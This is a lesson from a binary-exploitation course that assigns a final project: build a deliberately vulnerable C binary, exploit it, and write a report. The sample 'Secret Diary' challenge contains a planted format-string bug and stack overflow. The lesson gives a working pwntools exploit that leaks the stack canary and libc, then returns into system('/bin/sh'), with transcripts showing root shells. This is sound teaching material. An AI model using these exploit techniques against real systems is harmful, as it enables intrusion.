Post

Lesson 10.3: Final project, build and exploit your own vulnerable binary

Lesson 10.3: Final project, build and exploit your own vulnerable binary

This is the last lesson of the series. The surest way to know you actually understand pwn is to build a buggy binary with your own hands, exploit it yourself, and write a report someone else can follow. Complete that whole loop and you stop being someone who only learns from other people’s solutions. This lesson assigns the project, gives a sample challenge with a working, real solution, and a rubric to grade yourself with.

Format-string leak feeding a canary-safe ret2libc overflow One format-string call leaks both the canary and a libc address, then the overflow writes the canary back unchanged before hijacking saved RIP into ret2libc.

Part: 10 · Reading time: a multi-session project · Difficulty: hard (synthesis)

Prerequisites: Lesson 10.1 and 10.2. The sample challenge reuses format strings (Part 7), canary (Part 5), ret2libc (Part 6).

Tools: gcc, pwntools, checksec, objdump, gdb. Lab files are described in the Lab section below.

Goals

After this lesson you will be able to design a binary with a vulnerability matched to the mitigation level you chose, exploit it fully into a shell and write a clean, reproducible exploit, write a project report to a proper standard, and self-grade with a rubric to see what you are missing.

Theory: the project brief

Requirements

Write a C program with at least one memory vulnerability, compile it with a mitigation level of your choosing (state the gcc flags explicitly), then write an exploit that gets a shell or reads a flag.txt file. Submit a report along with it.

The minimum bar to pass:

  • The binary must be genuinely exploitable, not “exploitable in theory”.
  • The exploit must work with ASLR enabled (randomize_va_space = 2), with no hardcoded libc address.
  • There must be at least one leak step (canary, libc, or PIE base). A challenge that is pure ret2win with No PIE and No canary is too light for a final project, treat it only as a warm-up.

Encouraged ways to raise the difficulty: enable the canary (forcing a canary leak), enable PIE (forcing a PIE base leak), or build a heap challenge (UAF/tcache). Every extra mitigation enabled adds one more leak step, exactly in the spirit of the Lesson 10.1 decision tree.

Required report structure

Reuse the eight-section writeup template from Lesson 10.2, with one extra section at the start:

  1. Deliberate design. Which bug you planted on purpose, which mitigation you chose, and why that combination forces the solver down a specific chain of techniques. This section shows you understand the relationship between mitigations and techniques, not just that you can copy one challenge.

The rest: challenge/environment, triage, vulnerability, plan, measurements, exploit, transcript, lessons.

Why a self-built challenge is hard in the right way

When you design the challenge yourself, you have to think backwards: to force the solver to leak libc you must leave a printing path exposed (puts/printf); to force a canary leak you must both enable the canary and leave a reading hole (a format string or reading extra bytes). The act of designing a vulnerability that is “just enough” teaches you the mechanism more deeply than solving one does. That is why the final project requires writing a binary rather than solving one more challenge.

Demo: the sample “Secret Diary” challenge and a working solution

Below is a complete sample project, compiled and exploited for real against an Ubuntu 24.04 server. Files are listed in the Lab section below.

Deliberate design

The goal was a challenge chaining three already-learned techniques, the way a good real challenge does:

  • Enable the canary (-fstack-protector-all): the solver cannot overflow straight through, they must leak the canary first.
  • Leave a format string bug (printf(buf)): both a canary-leak path and a libc-leak path.
  • Enable NX, keep ASLR on: forcing ret2libc with a leaked libc, no shellcode, no hardcoding.
  • No PIE: keeps the challenge at a reasonable difficulty, binary addresses (gadgets, GOT) stay fixed.

Result: the solver is forced through a format-string leak (canary plus libc), then an overflow that preserves the canary, then ret2libc. Exactly Parts 7, 5, and 6 chained together.

Challenge and environment

  • Challenge: Secret Diary v2.0 (self-built).
  • Environment: Ubuntu 24.04.4 LTS, glibc 2.39-0ubuntu8.9, gcc 13.3.0, ASLR enabled.
  • Goal: shell plus reading flag.txt.

Triage

1
2
$ checksec --file=diary
RELRO: Partial | Stack: Canary found | NX: enabled | PIE: No PIE (0x400000)

Canary enabled (unlike the Lesson 10.2 challenge), NX enabled, No PIE, dynamic. Typing %p %p %p prints back hex numbers, immediately suggesting a format string bug.

Vulnerability analysis

The vuln() function has two bugs sharing one buffer:

1
2
3
4
5
6
7
8
9
10
11
void vuln(void) {
    char buf[128];
    printf("What is your name?\n> ");
    int n = read(0, buf, 120);
    buf[n] = '\0';
    printf("Hello ");
    printf(buf);                 // BUG 1: format string -> leak
    puts("");
    printf("Write a log line:\n> ");
    read(0, buf, 400);           // BUG 2: overflows buf[128] -> past the canary and saved RIP
}
  • BUG 1 (format string): primitive is arbitrary read plus leak.
  • BUG 2 (a 400-byte read into buf[128]): primitive is control flow hijack, but blocked by the canary.

Exploitation plan

One binary, two bugs, following the decision tree:

  1. Canary is on, so use BUG 1 to leak the canary.
  2. ASLR and NX are on, dynamic, so also use BUG 1 to leak libc (via %s reading puts@got).
  3. Use BUG 2 to overflow, writing the canary back exactly in place, then ret2libc into system("/bin/sh").

Steps, with real measurements

Stack layout (read from objdump): buf sits at rbp-0x90, the canary at rbp-8.

1
2
buf -> canary    = 0x90 - 8  = 136
buf -> saved RIP = 0x90 + 8  = 152

The format string argument position (probed with %N$p): the input starts at positional index 8 (%8$p is buf+0). From that:

  • The canary at buf+136 sits at index 8 + 136/8 = 25, read with %25$p.
  • To leak libc, place a pointer to puts@got at buf+24 (index 11), then read it with %11$s (which prints the runtime libc address of puts, since puts has already been resolved by the banner).

One payload leaks both in a single call:

1
2
fmt = b'%25$pENDC%11$s'                 # canary | ENDC marker | %s dereferences the pointer
payload1 = fmt.ljust(24, b'a') + p64(elf.got['puts'])   # the pointer sits at buf+24

The puts@got pointer contains a null byte in its high byte, so it has to be placed after the format specifiers (a null would otherwise cut the format string short), and referenced by positional index rather than printed directly. The ENDC marker separates the canary (hex text) from the libc leak (6 raw bytes) when parsing.

Full exploit

The complete script is exploit.py in the Lab section below. The core:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# --- Stage 1: leak canary + libc via one format string call ---
io.recvuntil(b'> ')
io.sendline(b'%25$pENDC%11$s'.ljust(24, b'a') + p64(elf.got['puts']))
io.recvuntil(b'Hello ')
canary_hex, rest = io.recvline().split(b'ENDC', 1)
canary    = int(canary_hex, 16)
puts_libc = u64(rest[:6].ljust(8, b'\x00'))
libc.address = puts_libc - libc.sym['puts']

# --- Stage 2: overflow writing the canary back -> ret2libc ---
rop = ROP([elf, libc])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
binsh, system = next(libc.search(b'/bin/sh\x00')), libc.sym['system']
io.recvuntil(b'> ')
io.send(flat(
    b'A'*136, canary,       # write the exact canary back -> passes __stack_chk_fail
    b'B'*8,                 # saved rbp (junk)
    ret, pop_rdi, binsh, system,
))
time.sleep(0.5)             # avoid a race with read
io.sendline(b'id; cat flag.txt')

Transcript

Three runs in a row with ASLR enabled, both the canary and the libc base change every time, all three get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
----- run #1 -----
[+] canary      = 0x68a91c9919ac7600
[+] puts @ libc = 0x79de4cc87cc0
[+] libc base   = 0x79de4cc00000
uid=0(root) gid=0(root) groups=0(root)
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}
----- run #2 -----
[+] canary      = 0x4a8137800f58bd00
[+] libc base   = 0x771736a00000
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}
----- run #3 -----
[+] canary      = 0x87421ef9b79dee00
[+] libc base   = 0x7dbb76a00000
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}

Every canary ends in the byte 00 (a signature of glibc canaries: the low byte is always null), and the libc base differs each run. The full transcript is transcript.txt in the Lab section below.

Lessons and pitfalls

  • %11$s only works to dereference puts@got because puts has already been resolved (the banner calls puts before vuln). If the function were never called first, the GOT entry would still point at the PLT stub, and the leak would be garbage.
  • A pointer containing a null byte must be placed after the format specifiers, referenced positionally. Placed before, the null cuts the format string short immediately.
  • Canary ending in 00: when writing it back with flat(..., canary), use the full 8-byte leaked value as is, do not add or remove bytes.
  • Still subject to the same race with read in stage 2, handled the same way as Lesson 10.2 with a short delay.
  • %s printing a libc address rarely (around two percent of the time) hits a null in the middle of the 6 meaningful bytes, producing a short leak, just rerun it. A production challenge should leak with a pair of %p instead if it wants to be fully reliable.

Lab (this is the project itself)

  • Step 1: redo the sample challenge from the Lab files without looking at exploit.py. Probe the format string offset yourself, parse the leak yourself.
  • Step 2: design a brand NEW challenge of your own. Suggested tiers:
    • Easy: No PIE, No canary, with a win function needing an argument, to drill pop rdi (Lesson 3.3).
    • Medium: like the sample but with a different bug (for example overflow plus a leak via write instead of a format string).
    • Hard: enable PIE (forcing a PIE base leak too), or build a heap note challenge with UAF/tcache (Part 9).
  • Step 3: write a report with all nine sections (the design section plus the eight writeup sections).
  • Self-check: can someone else, holding only your binary and your report, reproduce the solve exactly as you describe it?

Self-grading rubric (100 points)

CriterionPointsPasses when
Binary is actually exploitable25Running the exploit gets a shell/flag, not just a theoretical claim
Runs with ASLR enabled, no hardcoding15The libc base is computed dynamically from the leak; works across repeated runs
Has a correct leak step for the mitigation15Leaks canary/libc/PIE as appropriate for the mitigations enabled
Deliberate design (section 0)10Explains why the chosen mitigations force that specific chain of techniques
Clean, commented exploit10Readable by someone else, no unexplained magic numbers
Report has all nine sections15Deduct per missing section
Real transcript5Shows proof of output, records the glibc/OS version
Lessons/pitfalls section5Describes a real sticking point and how it was resolved

Grade yourself honestly. Below 70 means there is a real gap in the exact criterion where points were lost, go back to the matching lesson.

LAB 10.3Download the lab files

Key takeaways

  • Write your own binary, state the gcc flags and mitigations explicitly
  • Exploit it for real, with ASLR enabled, no hardcoded libc
  • Include at least one leak step
  • The report has all nine sections, with a transcript and version info
  • Self-grade with the rubric, fix whatever lost points

Common pitfalls (when designing your own challenge)

  • Building a binary that is “buggy” but not actually exploitable (the buffer never reaches saved RIP, or the canary blocks it with no leak path). Always solve it yourself first before calling it a valid challenge.
  • Making it artificially easy by disabling every mitigation. A final project should have at least one leak step.
  • Hardcoding your own machine’s libc offsets and thinking the project is done. It must be computed dynamically, and must work across repeated runs.
  • A report missing the deliberate-design section. That section is what shows understanding, do not drop it.
  • Forgetting to clean up: if you submit with a server attached, make sure no real flag or sensitive information leaks out.

Further reading

  • Lesson 10.1 and Lesson 10.2: the workflow and the writeup template this project builds on.
  • A technique map, to help pick techniques for a self-designed challenge.
  • The parts combined in the sample challenge: format strings (Lesson 7.1), canaries (Lesson 5.2), ret2libc (Lesson 6.1 and Lesson 6.2).
  • A list of documentation and practice grounds, for design inspiration from real challenges.
This post is licensed under CC BY 4.0 by the author.